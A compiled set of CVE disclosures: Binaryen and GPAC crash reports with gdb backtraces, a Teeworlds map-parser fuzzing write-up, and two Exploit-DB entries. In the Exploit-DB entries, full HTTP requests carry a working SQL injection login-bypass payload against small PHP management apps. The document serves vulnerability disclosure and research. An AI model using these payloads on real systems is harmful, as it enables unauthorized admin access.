A Denial of Service vulnerability exits in Binaryen 103 due to an assertion abort in wasm::handle_unreachable.

**Version:**

**System information**  
Ubuntu 20.04.1 LTS, clang version 10.0.0-4ubuntu1

**command:**

POC1.zip

**Result**

**GDB information**

    
    Program received signal SIGABRT, Aborted.
    [----------------------------------registers-----------------------------------]
    RAX: 0x0 
    RBX: 0x7ffff6d4afc0 (0x00007ffff6d4afc0)
    RCX: 0x7ffff6d9518b (<__GI_raise+203>:	mov    rax,QWORD PTR [rsp+0x108])
    RDX: 0x0 
    RSI: 0x7fffffffb640 --> 0x0 
    RDI: 0x2 
    RBP: 0x7fffffffb8b0 --> 0x7fffffffb8c0 --> 0x7fffffffb8e0 --> 0x7fffffffb930 --> 0x7fffffffb9a0 --> 0x7fffffffb9d0 (--> ...)
    RSP: 0x7fffffffb640 --> 0x0 
    RIP: 0x7ffff6d9518b (<__GI_raise+203>:	mov    rax,QWORD PTR [rsp+0x108])
    R8 : 0x0 
    R9 : 0x7fffffffb640 --> 0x0 
    R10: 0x8 
    R11: 0x246 
    R12: 0x7ffff72ad360 --> 0x7ffff72a73d0 --> 0x7ffff7200400 (<_ZNSoD1Ev>:	endbr64)
    R13: 0x7ffff72ad360 --> 0x7ffff72a73d0 --> 0x7ffff7200400 (<_ZNSoD1Ev>:	endbr64)
    R14: 0x7fffffffccc0 --> 0x555555666f40 --> 0x0 
    R15: 0x555555656610 ("label$28")
    EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
    [-------------------------------------code-------------------------------------]
       0x7ffff6d9517f <__GI_raise+191>:	mov    edi,0x2
       0x7ffff6d95184 <__GI_raise+196>:	mov    eax,0xe
       0x7ffff6d95189 <__GI_raise+201>:	syscall 
    => 0x7ffff6d9518b <__GI_raise+203>:	mov    rax,QWORD PTR [rsp+0x108]
       0x7ffff6d95193 <__GI_raise+211>:	xor    rax,QWORD PTR fs:0x28
       0x7ffff6d9519c <__GI_raise+220>:	jne    0x7ffff6d951c4 <__GI_raise+260>
       0x7ffff6d9519e <__GI_raise+222>:	mov    eax,r8d
       0x7ffff6d951a1 <__GI_raise+225>:	add    rsp,0x118
    [------------------------------------stack-------------------------------------]
    0000| 0x7fffffffb640 --> 0x0 
    0008| 0x7fffffffb648 --> 0x7fffffffca00 --> 0x7fffffffd160 --> 0x0 
    0016| 0x7fffffffb650 --> 0x7fffffffca00 --> 0x7fffffffd160 --> 0x0 
    0024| 0x7fffffffb658 --> 0x7fffffffca00 --> 0x7fffffffd160 --> 0x0 
    0032| 0x7fffffffb660 --> 0x0 
    0040| 0x7fffffffb668 --> 0x55555568bdc0 ("label$53")
    0048| 0x7fffffffb670 --> 0x7fffffffb6f0 --> 0xffffffffffffffff 
    0056| 0x7fffffffb678 --> 0x7ffff7be8775 (<_ZN4wasm17WasmBinaryBuilder13popExpressionEv+85>:	test   al,al)
    [------------------------------------------------------------------------------]
    Legend: code, data, rodata, value
    Stopped reason: SIGABRT
    __GI_raise (sig=sig@entry=0x6) at ../sysdeps/unix/sysv/linux/raise.c:50
    50	../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
    gdb-peda$ bt
    #0  __GI_raise (sig=sig@entry=0x6) at ../sysdeps/unix/sysv/linux/raise.c:50
    #1  0x00007ffff6d74859 in __GI_abort () at abort.c:79
    #2  0x00007ffff7d3ee48 in wasm::handle_unreachable(char const*, char const*, unsigned int) () from /home/zxq/CVE_testing/sourceproject/binaryen/bin/../lib/libbinaryen.so
    #3  0x00007ffff7c84557 in wasm::Type::getHeapType() const () from /home/zxq/CVE_testing/sourceproject/binaryen/bin/../lib/libbinaryen.so
    #4  0x00007ffff7bd6a9c in wasm::BrOn::getSentType() () from /home/zxq/CVE_testing/sourceproject/binaryen/bin/../lib/libbinaryen.so
    #5  0x00007ffff789c965 in wasm::BranchUtils::operateOnScopeNameUsesAndSentTypes<wasm::BranchUtils::BranchSeeker::visitExpression(wasm::Expression*)::{lambda(wasm::Name&, wasm::Type)#1}>(wasm::Expression*, wasm::BranchUtils::BranchSeeker::visitExpression(wasm::Expression*)::{lambda(wasm::Name&, wasm::Type)#1})::{lambda(wasm::Name&)#1}::operator()(wasm::Name&) const ()
       from /home/zxq/CVE_testing/sourceproject/binaryen/bin/../lib/libbinaryen.so
    #6  0x00007ffff789ca9d in void wasm::BranchUtils::operateOnScopeNameUses<wasm::BranchUtils::operateOnScopeNameUsesAndSentTypes<wasm::BranchUtils::BranchSeeker::visitExpression(wasm::Expression*)::{lambda(wasm::Name&, wasm::Type)#1}>(wasm::Expression*, wasm::BranchUtils::BranchSeeker::visitExpression(wasm::Expression*)::{lambda(wasm::Name&, wasm::Type)#1})::{lambda(wasm::Name&)#1}>(wasm::Expression*, wasm::BranchUtils::BranchSeeker::visitExpression(wasm::Expression*)::{lambda(wasm::Name&, wasm::Type)#1}) () from /home/zxq/CVE_testing/sourceproject/binaryen/bin/../lib/libbinaryen.so
    #7  0x00007ffff789d22c in wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::UnifiedExpressionVisitor<wasm::BranchUtils::BranchSeeker, void> >::doVisitBrOn(wasm::BranchUtils::BranchSeeker*, wasm::Expression**) () from /home/zxq/CVE_testing/sourceproject/binaryen/bin/../lib/libbinaryen.so
    #8  0x00007ffff7a01ef1 in wasm::BranchUtils::BranchSeeker::has(wasm::Expression*, wasm::Name) () from /home/zxq/CVE_testing/sourceproject/binaryen/bin/../lib/libbinaryen.so
    #9  0x00007ffff7bd974f in wasm::handleUnreachable(wasm::Block*, wasm::Block::Breakability) () from /home/zxq/CVE_testing/sourceproject/binaryen/bin/../lib/libbinaryen.so
    #10 0x00007ffff7c0f923 in wasm::WasmBinaryBuilder::getBlockOrSingleton(wasm::Type) () from /home/zxq/CVE_testing/sourceproject/binaryen/bin/../lib/libbinaryen.so
    #11 0x00007ffff7c11f0d in wasm::WasmBinaryBuilder::visitIf(wasm::If*) () from /home/zxq/CVE_testing/sourceproject/binaryen/bin/../lib/libbinaryen.so
    #12 0x00007ffff7c0acb2 in wasm::WasmBinaryBuilder::readExpression(wasm::Expression*&) () from /home/zxq/CVE_testing/sourceproject/binaryen/bin/../lib/libbinaryen.so
    #13 0x00007ffff7c0ba5e in wasm::WasmBinaryBuilder::processExpressions() () from /home/zxq/CVE_testing/sourceproject/binaryen/bin/../lib/libbinaryen.so
    #14 0x00007ffff7c0f840 in wasm::WasmBinaryBuilder::getBlockOrSingleton(wasm::Type) () from /home/zxq/CVE_testing/sourceproject/binaryen/bin/../lib/libbinaryen.so
    #15 0x00007ffff7c11fcd in wasm::WasmBinaryBuilder::visitIf(wasm::If*) () from /home/zxq/CVE_testing/sourceproject/binaryen/bin/../lib/libbinaryen.so
    #16 0x00007ffff7c0acb2 in wasm::WasmBinaryBuilder::readExpression(wasm::Expression*&) () from /home/zxq/CVE_testing/sourceproject/binaryen/bin/../lib/libbinaryen.so
    #17 0x00007ffff7c0ba5e in wasm::WasmBinaryBuilder::processExpressions() () from /home/zxq/CVE_testing/sourceproject/binaryen/bin/../lib/libbinaryen.so
    #18 0x00007ffff7c0f840 in wasm::WasmBinaryBuilder::getBlockOrSingleton(wasm::Type) () from /home/zxq/CVE_testing/sourceproject/binaryen/bin/../lib/libbinaryen.so
    #19 0x00007ffff7c11f0d in wasm::WasmBinaryBuilder::visitIf(wasm::If*) () from /home/zxq/CVE_testing/sourceproject/binaryen/bin/../lib/libbinaryen.so
    #20 0x00007ffff7c0acb2 in wasm::WasmBinaryBuilder::readExpression(wasm::Expression*&) () from /home/zxq/CVE_testing/sourceproject/binaryen/bin/../lib/libbinaryen.so
    #21 0x00007ffff7c0ba5e in wasm::WasmBinaryBuilder::processExpressions() () from /home/zxq/CVE_testing/sourceproject/binaryen/bin/../lib/libbinaryen.so
    #22 0x00007ffff7c0f840 in wasm::WasmBinaryBuilder::getBlockOrSingleton(wasm::Type) () from /home/zxq/CVE_testing/sourceproject/binaryen/bin/../lib/libbinaryen.so
    #23 0x00007ffff7c11f0d in wasm::WasmBinaryBuilder::visitIf(wasm::If*) () from /home/zxq/CVE_testing/sourceproject/binaryen/bin/../lib/libbinaryen.so
    #24 0x00007ffff7c0acb2 in wasm::WasmBinaryBuilder::readExpression(wasm::Expression*&) () from /home/zxq/CVE_testing/sourceproject/binaryen/bin/../lib/libbinaryen.so
    #25 0x00007ffff7c0ba5e in wasm::WasmBinaryBuilder::processExpressions() () from /home/zxq/CVE_testing/sourceproject/binaryen/bin/../lib/libbinaryen.so
    #26 0x00007ffff7c0f012 in wasm::WasmBinaryBuilder::visitBlock(wasm::Block*) () from /home/zxq/CVE_testing/sourceproject/binaryen/bin/../lib/libbinaryen.so
    #27 0x00007ffff7c0b29e in wasm::WasmBinaryBuilder::readExpression(wasm::Expression*&) () from /home/zxq/CVE_testing/sourceproject/binaryen/bin/../lib/libbinaryen.so
    #28 0x00007ffff7c0ba5e in wasm::WasmBinaryBuilder::processExpressions() () from /home/zxq/CVE_testing/sourceproject/binaryen/bin/../lib/libbinaryen.so
    #29 0x00007ffff7c0f840 in wasm::WasmBinaryBuilder::getBlockOrSingleton(wasm::Type) () from /home/zxq/CVE_testing/sourceproject/binaryen/bin/../lib/libbinaryen.so
    #30 0x00007ffff7c1026b in wasm::WasmBinaryBuilder::readFunctions() () from /home/zxq/CVE_testing/sourceproject/binaryen/bin/../lib/libbinaryen.so
    #31 0x00007ffff7c11802 in wasm::WasmBinaryBuilder::read() () from /home/zxq/CVE_testing/sourceproject/binaryen/bin/../lib/libbinaryen.so
    #32 0x00007ffff7c3d766 in wasm::ModuleReader::readBinaryData(std::vector<char, std::allocator<char> >&, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) ()
       from /home/zxq/CVE_testing/sourceproject/binaryen/bin/../lib/libbinaryen.so
    #33 0x00007ffff7c3df6c in wasm::ModuleReader::readBinary(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) () from /home/zxq/CVE_testing/sourceproject/binaryen/bin/../lib/libbinaryen.so
    #34 0x00007ffff7c3e641 in wasm::ModuleReader::read(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) () from /home/zxq/CVE_testing/sourceproject/binaryen/bin/../lib/libbinaryen.so
    #35 0x000055555557e5bb in main ()
    #36 0x00007ffff6d760b3 in __libc_start_main (main=0x55555557cb40 <main>, argc=0x2, argv=0x7fffffffe258, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe248)
        at ../csu/libc-start.c:308
    #37 0x000055555557f97e in _start ()

CVE-2021-45290: An assertion abort in wasm::handle_unreachable(char const*, char const*, unsigned int) ()  · Issue #4383 · WebAssembly/binaryen

A Double Free vulnerability exists in filedump.c in GPAC 1.0.1, which could cause a Denail of Service via a crafted file in the MP4Box command.

Thanks for reporting your issue. Please make sure these boxes are checked before submitting your issue - thank you!

*   \[Yes \] I looked for a similar issue and couldn't find any.
*   \[ Yes\] I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/
*   \[ Yes\] I give enough information for contributors to reproduce my issue (meaningful title, github labels, platform and compiler, command-line ...). I can share files anonymously with this dropbox: https://www.mediafire.com/filedrop/filedrop\_hosted.php?drop=eec9e058a9486fe4e99c33021481d9e1826ca9dbc242a6cfaab0fe95da5e5d95

Detailed guidelines: http://gpac.io/2013/07/16/how-to-file-a-bug-properly/

**Version:**

    ./MP4Box -version
    MP4Box - GPAC version 1.1.0-DEV-rev1527-g6fcf9819e-master
    (c) 2000-2021 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io
    	MINI build (encoders, decoders, audio and video output disabled)
    
    Please cite our work in your research:
    	GPAC Filters: https://doi.org/10.1145/3339825.3394929
    	GPAC: https://doi.org/10.1145/1291233.1291452
    
    GPAC Configuration: --static-mp4box --prefix=/home/zxq/CVE_testing/sourceproject/gpac/cmakebuild --enable-debug
    Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_FREETYPE GPAC_HAS_JPEG GPAC_HAS_PNG  GPAC_DISABLE_3D 
    

**System information**  
Ubuntu 20.04.1 LTS, gcc version 9.3.0 (Ubuntu 9.3.0-17ubuntu1~20.04)

**command:**

POC.zip

**Result**

    [iso file] extra box maxr found in hinf, deleting
    [iso file] extra box maxr found in hinf, deleting
    [ODF] Not enough bytes (10) to read descriptor (size=127)
    [ODF] Error reading descriptor (tag 4 size 21): Invalid MPEG-4 Descriptor
    [iso file] Incomplete box mdat - start 11495 size 75
    [iso file] Incomplete file while reading for dump - aborting parsing
    [iso file] extra box maxr found in hinf, deleting
    [iso file] extra box maxr found in hinf, deleting
    [ODF] Not enough bytes (10) to read descriptor (size=127)
    [ODF] Error reading descriptor (tag 4 size 21): Invalid MPEG-4 Descriptor
    [iso file] Incomplete box mdat - start 11495 size 75
    [iso file] Incomplete file while reading for dump - aborting parsing
    MPEG-4 BIFS Scene Parsing
    [MP4 Loading] Unable to fetch sample 1 from track ID 7 - aborting track import
    free(): double free detected in tcache 2
    [3]    3698317 abort      ./bin/gcc/MP4Box -bt 
    
    

**gdb information:**

    Program received signal SIGABRT, Aborted.
    [----------------------------------registers-----------------------------------]
    RAX: 0x0 
    RBX: 0x7ffff5654740 (0x00007ffff5654740)
    RCX: 0x7ffff61d118b (<__GI_raise+203>:	mov    rax,QWORD PTR [rsp+0x108])
    RDX: 0x0 
    RSI: 0x7fffffff6fd0 --> 0x0 
    RDI: 0x2 
    RBP: 0x7fffffff7320 --> 0x7ffff6376b80 --> 0x0 
    RSP: 0x7fffffff6fd0 --> 0x0 
    RIP: 0x7ffff61d118b (<__GI_raise+203>:	mov    rax,QWORD PTR [rsp+0x108])
    R8 : 0x0 
    R9 : 0x7fffffff6fd0 --> 0x0 
    R10: 0x8 
    R11: 0x246 
    R12: 0x7fffffff7240 --> 0x0 
    R13: 0x10 
    R14: 0x7ffff7ffb000 --> 0x6565726600001000 
    R15: 0x1
    EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
    [-------------------------------------code-------------------------------------]
       0x7ffff61d117f <__GI_raise+191>:	mov    edi,0x2
       0x7ffff61d1184 <__GI_raise+196>:	mov    eax,0xe
       0x7ffff61d1189 <__GI_raise+201>:	syscall 
    => 0x7ffff61d118b <__GI_raise+203>:	mov    rax,QWORD PTR [rsp+0x108]
       0x7ffff61d1193 <__GI_raise+211>:	xor    rax,QWORD PTR fs:0x28
       0x7ffff61d119c <__GI_raise+220>:	jne    0x7ffff61d11c4 <__GI_raise+260>
       0x7ffff61d119e <__GI_raise+222>:	mov    eax,r8d
       0x7ffff61d11a1 <__GI_raise+225>:	add    rsp,0x118
    [------------------------------------stack-------------------------------------]
    0000| 0x7fffffff6fd0 --> 0x0 
    0008| 0x7fffffff6fd8 --> 0x0 
    0016| 0x7fffffff6fe0 --> 0x7ffff6b0ffca (<Media_GetESD+842>:	mov    rax,QWORD PTR [rsp+0x10])
    0024| 0x7fffffff6fe8 --> 0x0 
    0032| 0x7fffffff6ff0 --> 0x1 
    0040| 0x7fffffff6ff8 --> 0x0 
    0048| 0x7fffffff7000 --> 0x5555556709a0 --> 0x80003 
    0056| 0x7fffffff7008 --> 0x0 
    [------------------------------------------------------------------------------]
    Legend: code, data, rodata, value
    Stopped reason: SIGABRT
    __GI_raise (sig=sig@entry=0x6) at ../sysdeps/unix/sysv/linux/raise.c:50
    50	../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
    gdb-peda$ bt
    #0  __GI_raise (sig=sig@entry=0x6) at ../sysdeps/unix/sysv/linux/raise.c:50
    #1  0x00007ffff61b0859 in __GI_abort () at abort.c:79
    #2  0x00007ffff621b3ee in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7ffff6345285 "%s\n") at ../sysdeps/posix/libc_fatal.c:155
    #3  0x00007ffff622347c in malloc_printerr (str=str@entry=0x7ffff63475d0 "free(): double free detected in tcache 2") at malloc.c:5347
    #4  0x00007ffff62250ed in _int_free (av=0x7ffff6376b80 <main_arena>, p=0x555555671790, have_lock=0x0) at malloc.c:4201
    #5  0x00007ffff6bf30f5 in gf_odf_del_default () from /home/zxq/CVE_testing/project/gpac/bin/gcc/libgpac.so.10
    #6  0x00007ffff6f56654 in gf_sm_load_run_isom () from /home/zxq/CVE_testing/project/gpac/bin/gcc/libgpac.so.10
    #7  0x00005555555c3a18 in dump_isom_scene (file=<optimized out>, inName=0x555555644d20 <outfile> "../../result/gpac/afl-outbox-bt-d/crashes/id:000000,sig:06,src:000181,op:havoc,rep:64", is_final_name=GF_FALSE, 
        dump_mode=GF_SM_DUMP_BT, do_log=GF_FALSE, no_odf_conv=GF_FALSE) at filedump.c:199
    #8  0x000055555559edd0 in mp4boxMain (argc=<optimized out>, argv=<optimized out>) at main.c:6044
    #9  0x00007ffff61b20b3 in __libc_start_main (main=0x55555556d540 <main>, argc=0x3, argv=0x7fffffffe318, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe308) at ../csu/libc-start.c:308
    #10 0x000055555556d5be in _start () at main.c:6496
    gdb-peda$ 
    '''

CVE-2021-45288: Double Free  in filedump.c:199 · Issue #1956 · gpac/gpac

Online Magazine Management System 1.0 contains a SQL injection authentication bypass vulnerability. The Admin panel authentication can be bypassed due to SQL injection vulnerability in the login form allowing attacker to gain access as admin to the application.

    # Exploit Title: Online Magazine Management System 1.0 -  SQLi Authentication Bypass
    # Date: 01-12-2021
    # Exploit Author: Mohamed habib Smidi (Craniums)
    # Vendor Homepage: https://www.sourcecodester.com/php/15061/online-magazine-management-system-php-free-source-code.html
    # Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/magazines_0.zip
    # Version: 1.0
    # Tested on: Ubuntu
    
    
    # Description :
    
    Admin panel authentication can be bypassed due to SQL injection vulnerability in the login form.
    
    # Request :
    
    POST /magazines/classes/Login.php?f=login HTTP/1.1
    Host: localhost
    User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:93.0)
    Gecko/20100101 Firefox/93.0
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Content-Length: 49
    Origin: http://localhost
    Connection: close
    Referer: http://localhost/magazines/admin/login.php
    Cookie: PHPSESSID=863plvf7rpambpkmk2cipijgra
    Sec-Fetch-Dest: empty
    Sec-Fetch-Mode: cors
    Sec-Fetch-Site: same-origin
    
    
    username='+or+1%3D1+limit+1+--+-%2B&password=aaaa

CVE-2021-44653: OffSec’s Exploit Database Archive

CVE-2021-44653: Offensive Security’s Exploit Database Archive

Online Pre-owned/Used Car Showroom Management System 1.0 contains a SQL injection authentication bypass vulnerability. Admin panel authentication can be bypassed due to SQL injection vulnerability in the login form allowing attacker to get admin access on the application.

    # Exploit Title: Online Pre-owned/Used Car Showroom Management System 1.0 -  SQLi Authentication Bypass
    # Date: 01-12-2021
    # Exploit Author: Mohamed habib Smidi (Craniums)
    # Vendor Homepage: https://www.sourcecodester.com/php/15067/online-pre-ownedused-car-showroom-management-system-php-free-source-code.html
    # Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/used_car_showroom.zip
    # Version: 1.0
    # Tested on: Ubuntu
    
    # Description :
    
    Admin panel authentication can be bypassed due to SQL injection vulnerability in the login form.
    
    # Request :
    
    POST /used_car_showroom/classes/Login.php?f=login HTTP/1.1
    Host: localhost
    User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:93.0)
    Gecko/20100101 Firefox/93.0
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Content-Length: 49
    Origin: http://localhost
    DNT: 1
    Connection: close
    Referer: http://localhost/used_car_showroom/admin/login.php
    Cookie: PHPSESSID=v0h6049m9ppunsh8vtfc8oj4p5
    Sec-Fetch-Dest: empty
    Sec-Fetch-Mode: cors
    Sec-Fetch-Site: same-origin
    
    
    username='+or+1%3D1+limit+1+--+-%2B&password=aaaa
    
    --

CVE-2021-44655: Offensive Security’s Exploit Database Archive

Teeworlds up to and including 0.7.5 is vulnerable to Buffer Overflow. A map parser does not validate m_Channels value coming from a map file, leading to a buffer overflow. A malicious server may offer a specially crafted map that will overwrite client's stack causing denial of service or code execution.

**tl;dr**: Using AFLplusplus for fuzzing map parser in Teeworlds. Two different approaches (quick and thorough) result in 15 crashes in total (one exploitable).

**Intro**

Games that support loading custom maps have to deal with parsing pretty complex files and complexity may lead to bugs. It may be especially important for online games, where players connecting to a server download and parse missing map files. If players can to set up their servers and offer custom maps then this process may be abused. A malicious server may cause unaware players to download a specially crafted map and cause unexpected behavior (desirable code execution). I decided to focus more on that topic and select an online game that can serve custom maps to players joining a game.

As my first target, I chose Teeworlds, an online shooter that I had analyzed before but from a different angle. The game has a map editor and players joining a game automatically download a missing map. This behavior makes this game a great candidate for research.

**Preparation**

The game’s source code is available at GitHub and documented instructions are enough to build the game on Ubuntu 20.04. However, before building the game with AFLplusplus I had to introduce some changes to the code to make fuzzing possible and efficient - more details in a moment.

Besides the code changes, I also needed input files. I decided to take the smallest original map that is available in the game.

    $ ls -laS datasrc/maps/
    total 348
    [...]
    -rw-rw-r--  1 m m  5731 Oct 22 16:19 ctf1.map
    [...]
    

Its size was quite big but at least the map was valid and I was sure that it parses correctly.

**Approach 1 - quick**

Running the game to parse a map has its drawbacks. When the game starts it loads a map from a file and then during the whole gameplay uses its data for rendering, calculations, and so on. I had to decide at which moment of execution I want to stop it. I was curious if bugs are more likely to happen in code that is responsible for reading a map from a file and preparing data structures or rather in later phases when this data is being used. There was nothing left to do but check both cases.

So for the first case, I took stopping the game immediately after parsing a file. I found a suitable place in the code - after all necessary initialization - and invoked parsing a map. A filename passed to a method was hardcoded because in a normal situation a client receives a filename from a server.

    diff --git a/src/engine/client/client.cpp b/src/engine/client/client.cpp
    index b9a2e014..4b5a9e16 100644
    --- a/src/engine/client/client.cpp
    +++ b/src/engine/client/client.cpp
    @@ -1842,6 +1842,10 @@ void CClient::InitInterfaces()
            m_Blacklist.Init();
            m_DemoRecorder.Init(Console(), m_pStorage);
            m_DemoPlayer.Init(Console(), m_pStorage);
    +
    +       __AFL_INIT();
    +       m_pMap->Load("maps/666.map");
    +       exit(0);
     }
    

At that point, I was ready to build and start fuzzing.

**Approach 2 - thorough**

When the process of fuzzing the first case was ongoing, I looked into the source code again to cause the game to parse and really use map data but also to exit in a reasonable time. In this case, communication with a server was necessary to cause the gameplay to start.

I ended up introducing the following changes:

1.  Disable CRC and SHA256 checksum checking - these values are sent by a server just to be sure that both sides use the same file. For fuzzing, those checks could be ignored.
2.  Exit the game after 150 frames. This value was chosen as the result of experimentation and was enough for the game to display a map on the screen.

    diff --git a/src/engine/client/client.cpp b/src/engine/client/client.cpp
    index b9a2e014..4b5a9e16 100644
    --- a/src/engine/client/client.cpp
    +++ b/src/engine/client/client.cpp
    @@ -810,7 +810,7 @@ const char *CClient::LoadMap(const char *pName, const char *pFilename, const SHA
                    return aErrorMsg;
            }
     
    -       if(pWantedSha256 && m_pMap->Sha256() != *pWantedSha256)
    +       if(0 && pWantedSha256 && m_pMap->Sha256() != *pWantedSha256)
            {
                    char aSha256[SHA256_MAXSTRSIZE];
                    char aWantedSha256[SHA256_MAXSTRSIZE];
    @@ -823,7 +823,7 @@ const char *CClient::LoadMap(const char *pName, const char *pFilename, const SHA
            }
     
            // get the crc of the map
    -       if(m_pMap->Crc() != WantedCrc)
    +       if(0 && m_pMap->Crc() != WantedCrc)
            {
                    str_format(aErrorMsg, sizeof(aErrorMsg), "map differs from the server. found = %08x wanted = %08x", m_pMap->Crc(), WantedCrc);
                    m_pConsole->Print(IConsole::OUTPUT_LEVEL_ADDINFO, "client", aErrorMsg);
    @@ -1999,7 +2003,7 @@ void CClient::Run()
            char aBuf[256];
            str_format(aBuf, sizeof(aBuf), "netversion %s", GameClient()->NetVersion());
            m_pConsole->Print(IConsole::OUTPUT_LEVEL_STANDARD, "client", aBuf);
    -       if(str_comp(GameClient()->NetVersionHashUsed(), GameClient()->NetVersionHashReal()))
    +       if(0 && str_comp(GameClient()->NetVersionHashUsed(), GameClient()->NetVersionHashReal()))
            {
                    m_pConsole->Print(IConsole::OUTPUT_LEVEL_STANDARD, "client", "WARNING: netversion hash differs");
            }
    @@ -2128,7 +2132,10 @@ void CClient::Run()
                                    // when we are stress testing only render every 10th frame
                                    if(!Config()->m_DbgStress || (m_RenderFrames%10) == 0 )
                                    {
    +                                       static int fuzz_counter = 0;
    +                                       fuzz_counter++;
                                            Render();
    +                                       if (fuzz_counter == 150) exit(0);
                                            m_pGraphics->Swap();
    

To make the fuzzing work, I had to run the server and make the fuzzed client connect to it. Hopefully, all necessary options were already implemented as command line parameters.

    $ echo 'sv_map 666' > config.cfg
    $ ./teeworlds_srv -f config.cfg
    

    $ ./afl-fuzz -f /home/mmm/teeworlds/build/data/maps/666.map -i - -o /home/mmm/output -t 5000 -- ./teeworlds "connect 127.0.0.1" "gfx_fullscreen 0" "gfx_screen_height 240" "gfx_screen_width 360"
    

The -f parameter points to a file where AFLplusplus was saving its mutated input. Even though the client was connecting to the server, it was noticing that already had a map with the desired name so it was loading it from the disk instead of downloading from the server.

An additional profit of this approach was the possibility to observe what the fuzzer was changing in the map file. It didn’t have any value for the fuzzing but at least was fun to watch.

**Coverage**

After approximately 24 hours I decided to check the results. To my surprise, both approaches turned out to be successful. The first approach was much faster but covered less code than the painfully slow second approach.

I used afl-cov to generate code coverage reports for the initial test case as well as for all entries generated by AFL during the fuzzing. In that way, it’s visible how much code the fuzzing actually covered.

*   First approach
    *   initial test case - lines: **5.2%**, functions: **7.9%**
    *   whole fuzzing - lines: **5.3**, functions: **8.1%**
*   Second approach
    *   initial test case - lines: **26.7%**, functions: **35.4%**
    *   whole fuzzing - lines: **29.2%**, functions: **37%**

Commands used for generating a report for:

*   the initial test case
    
        afl-cov -d /home/mmm/teeworlds/output/ --coverage-cmd "./teeworlds 'connect 127.0.0.1' 'gfx_fullscreen 0' 'gfx_screen_height 240' 'gfx_screen_width 360'" --code-dir /home/mmm/teeworlds-afl-cov/  --afl-file /home/mmm/teeworlds-afl-cov/build/data/maps/666.map --afl-queue-id-limit 1
        
    
*   all entries
    
        afl-cov -d /home/mmm/teeworlds/output/ --coverage-cmd "./teeworlds 'connect 127.0.0.1' 'gfx_fullscreen 0' 'gfx_screen_height 240' 'gfx_screen_width 360'" --code-dir /home/mmm/teeworlds-afl-cov/  --afl-file /home/mmm/teeworlds-afl-cov/build/data/maps/666.map
        
    

The --afl-file parameter may look unfamiliar because I implemented it for this specific case. At the moment of writing, afl-cov does not support passing an input file in a way that AFL’s -f parameter does. The change is currently available here.

**Results**

The first approach resulted in **4** unique crashes. The second approach was responsible for **11** more unique crashes.

I reported all crashes on GitHub:

*   Null pointer dereference (read)
    *   https://github.com/teeworlds/teeworlds/issues/2968
    *   https://github.com/teeworlds/teeworlds/issues/2973
    *   https://github.com/teeworlds/teeworlds/issues/2980
*   Heap buffer overflow (read)
    *   https://github.com/teeworlds/teeworlds/issues/2969
    *   https://github.com/teeworlds/teeworlds/issues/2971
    *   https://github.com/teeworlds/teeworlds/issues/2972
    *   https://github.com/teeworlds/teeworlds/issues/2974
    *   https://github.com/teeworlds/teeworlds/issues/2975
    *   https://github.com/teeworlds/teeworlds/issues/2976
    *   https://github.com/teeworlds/teeworlds/issues/2977
    *   https://github.com/teeworlds/teeworlds/issues/2978
    *   https://github.com/teeworlds/teeworlds/issues/2979
    *   https://github.com/teeworlds/teeworlds/issues/2982
*   Stack buffer overflow (write)
    *   https://github.com/teeworlds/teeworlds/issues/2981 (CVE-2021-43518)
*   Use after free (read)
    *   https://github.com/teeworlds/teeworlds/issues/2970

**Crash analysis**

From those crashes, the one related to writing on the stack seemed to be most interesting.

    ==33805==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffffffd8f78 at pc 0x5555556fae80 bp 0x7ffffffd8e10 sp 0x7ffffffd8e00
    WRITE of size 4 at 0x7ffffffd8f78 thread T0
        #0 0x5555556fae7f in CMapLayers::LoadEnvPoints(CLayers const*, array<CEnvPoint, allocator_default<CEnvPoint> >&) /home/osboxes/teeworlds/teeworlds-asan/src/game/client/components/maplayers.cpp:184
        #1 0x5555556fcf3b in CMapLayers::OnMapLoad() /home/osboxes/teeworlds/teeworlds-asan/src/game/client/components/maplayers.cpp:117
        #2 0x555555839981 in CGameClient::OnConnected() /home/osboxes/teeworlds/teeworlds-asan/src/game/client/gameclient.cpp:459
        #3 0x5555555f6755 in CClient::ProcessServerPacket(CNetChunk*) /home/osboxes/teeworlds/teeworlds-asan/src/engine/client/client.cpp:1283
        #4 0x5555555f91ce in CClient::PumpNetwork() /home/osboxes/teeworlds/teeworlds-asan/src/engine/client/client.cpp:1596
        #5 0x5555555f9596 in CClient::Update() /home/osboxes/teeworlds/teeworlds-asan/src/engine/client/client.cpp:1766
        #6 0x5555555fc1f0 in CClient::Run() /home/osboxes/teeworlds/teeworlds-asan/src/engine/client/client.cpp:2108
        #7 0x5555555d24e5 in main /home/osboxes/teeworlds/teeworlds-asan/src/engine/client/client.cpp:2704
